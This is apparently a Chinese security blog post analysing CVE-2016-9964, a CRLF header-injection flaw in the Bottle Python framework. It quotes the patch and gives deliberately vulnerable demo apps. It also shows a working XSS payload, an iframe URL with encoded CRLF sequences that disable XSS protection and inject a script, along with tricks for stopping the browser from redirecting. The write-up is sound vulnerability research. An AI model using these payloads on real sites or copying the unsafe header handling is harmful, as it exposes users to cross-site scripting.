Bottle HTTP 头注入漏洞探究

今天看到两个头注入,一个ASP.NET的 http://seclists.org/bugtraq/2016/Dec/43 ,一个Bottle的。

漏洞分析

这几天更新的bottle,修复了一个漏洞(CVE-2016-9964),介绍是这样说的

It was discovered that bottle, a WSGI-framework for the Python
programming language, did not properly filter "\r\n" sequences when
handling redirections. This allowed an attacker to perform CRLF
attacks such as HTTP header injection.

分析一下,实际上和redirect没有太大关系,只要是能设置HTTP返回头的地方,都存在头注入的问题。先看github的fix: https://github.com/bottlepy/bottle/commit/6d7e13da0f998820800ecb3fe9ccee4189aefb54https://github.com/bottlepy/bottle/commit/3f838db73f7488a108dd8eea308fcc1188303371 ,其将所有设置头的地方都使用了_hval方法:

def _hval(value):
    value = value if isinstance(value, unicode) else str(value)
    if '\n' in value or '\r' in value or '\0' in value:
        raise ValueError("Header value must not contain control characters: %r" % value)
    return value

一旦发现\n、\r、\0就抛出异常。那么我们怎么复现这个漏洞呢?

直接使用pip安装老版本的bottle即可: pip install https://github.com/bottlepy/bottle/archive/0.12.10.zip

其实漏洞没什么可分析的,就是设置HTTP头的时候没有处理换行,导致了头注入。

Location && XSS ?

写一个小的例子

import bottle
from bottle import route, run, template, request, response

@route('/')
def index():
    path = request.query.get('path', 'https://www.leavesongs.com')
    return bottle.redirect(path)

if __name__ == '__main__':
    bottle.debug(True)
    run(host='localhost', port=8081)

这里还是使用的redirect,但重申一下这个漏洞和redirect函数没有任何关系。因为redirect函数是向response中插入一个HTTP头,也就是Location: xxx,所以存在头注入。

CRLF头注入的原理、利用方法,包括如何绕过浏览器的XSS Auditor我都在这篇文章( https://www.leavesongs.com/PENETRATION/Sina-CRLF-Injection.html )里进行了介绍,本文不再赘述.

但实际测试的过程中遇到了一个有趣的问题,看看redirect函数的实现:

def redirect(url, code=None):
    """ Aborts execution and causes a 303 or 302 redirect, depending on
        the HTTP protocol version. """
    if not code:
        code = 303 if request.get('SERVER_PROTOCOL') == "HTTP/1.1" else 302
    res = response.copy(cls=HTTPResponse)
    res.status = code
    res.body = ""
    res.set_header('Location', urljoin(request.url, url))
    raise res</pre>

其中使用了一个urljoin,将当前url和我传入的path进行了一次"join",经过这个操作事情就变得很微妙了:Location头一定有一个值。这种情况下,浏览器就不会渲染页面,会直接跳转到Location头指向的地址。也就是说,如果我要利用CRLF构造XSS的话,这里是不会触发的。

回想上面提到过的新浪的那个CRLF,那个漏洞的Location是可以为空的,如果浏览器发现Location为空就不会进行跳转,进而渲染了后面注入的HTML,造成XSS。

那么本文这里怎么处理?

两种阻止浏览器跳转的方式

之前 @ Mramydnei 就有跟我们一起研究过这个问题,后来他整理了一篇文章: http://zone.drops.wiki/topic/103

当时我提出了使用\0来阻止PHP返回Location头的方法。因为PHP的header函数一旦遇到\0、\r、\n这三个字符,就会抛出一个错误,此时Location头便不会返回,浏览器也就不会跳转了。

其实当时我还想出来一个方法:在PHP没有关闭display_errors的情况下,只要在header位置的前面某处构造一个错误,一旦有错误信息在header前被输出,header函数也就不会执行了——原因是我们不能在HTTP体已经输出的情况下再输出HTTP头。

但今天这个context是Python的环境,而且似乎并不能找到一个方法让bottle不返回Location头,这就麻烦了。但上文中后两种方法在Firefox确实是可行的。

法1: 将跳转的url端口设为<80

sp161222_033823.png

法2:使用CSP禁止iframe的跳转

sp161222_040237.png

其中的法2利用代码如下:

<?php
header("Content-Security-Policy: frame-src http://localhost:8081/");
?>

<iframe src="http://localhost:8081/?path=http://www.baidu.com/%0a%0dX-XSS-Protection:0%0a%0d%0a%0d<script>alert(location.href)</script>"></iframe>

最后再请大佬们支支招,我觉得应该有更好的办法,而不仅限于Firefox。

Bottle头注入的其他利用点

前面反复强调,bottle这个头注入和redirect无关。也就是说,只要Bottle中设置了HTTP头的位置,都讲存在头注入漏洞,比如试试直接增加一个HTTP头:

import bottle
from bottle import route, run, template, request, response

@route('/')
def index():
    server = request.query.get('server')
    response.add_header('Server', server)
    return response

if __name__ == '__main__':
    bottle.debug(True)
    run(host='localhost', port=8081)

Firefox下仍然能够直接触发:

sp161222_042945.png

而chrome最新版依旧无法触发,这次是为什么呢?

sp161222_043025.png

如上图,我估计是这个Content-Length: 0,导致Chrome认为这个返回包没有Body,所以并没有解析。

又是一个难题,设置chunk也没有解决,明天再看看吧。

第二天

今天在两个Linux上搭了同样的环境,却发现Content-Length的位置其实不是固定的,有时候会在下面:

14823910835652.jpg

但有时又会在上面,和系统是没有关系的。

这个情况下,Chrome是可以触发的:

14823917599311.jpg

再深入分析一下,我注入一个Content-Length头进去,你就会发现,Chrome会根据这个头的数值来截取body,如果我注入Content-Length: 5,此时显示的body如下:

14823918721337.jpg

这也就是昨天为什么Chrome下总是触发不了的原因,因为昨天Content-Length头我们无法控制,其值总是为0,导致Chrome不会输出任何内容,也就无法进行XSS。

评论

ph4nt0mer 回复

又学习了~。

captcha